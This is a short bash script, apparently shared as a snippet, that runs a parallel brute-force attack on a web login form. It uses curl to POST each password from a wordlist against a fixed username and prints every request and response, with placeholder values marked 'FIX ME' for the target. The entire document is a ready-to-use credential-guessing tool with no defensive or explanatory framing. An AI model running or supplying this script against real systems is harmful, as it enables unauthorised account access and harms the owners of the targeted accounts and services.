Parallel Brute Force in a simple shell script using curl :// - shall we

shall_we_force.sh

#!/bin/bash

URL="https://WELL_KNOWN_URL" #FIX ME
USERNAME="WELL_KNOWN_USER" #FIX ME
HEADERS="Content-Type: application/x-www-form-urlencoded; charset=UTF-8" #FIX ME
WORDLIST="/usr/share/dirb/wordlists/small.txt" #FIX ME
UA="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
COOKIE_FILE="cookie.txt"
WLCOUNT=$(wc -l < "$WORDLIST")
CONCURRENCY=$(nproc)

export URL COOKIE_FILE USERNAME HEADERS UA

parallel_process() {
    ATTEMPT_NUMBER="$1"
    PASSWORD="$2"
    WORDLIST_COUNT="$3"
    DATA="mod=login&comp=5&user=$USERNAME&pass=$PASSWORD" #FIX ME TOO

    RESPONSE=$(curl "$URL" -s --compressed -c "$COOKIE_FILE" -X POST -A "$UA" -H "$HEADERS" --data "$DATA")

    echo "Attempt: $ATTEMPT_NUMBER / $WORDLIST_COUNT"
    echo "Request: $DATA"
    echo "Response: $RESPONSE"
    echo "----------------------"
}

export -f parallel_process

cat "$WORDLIST" | awk '{print NR, $0}' | xargs -L 1 -P "$CONCURRENCY" bash -c 'parallel_process "$1" "$2" '"$WLCOUNT"'' _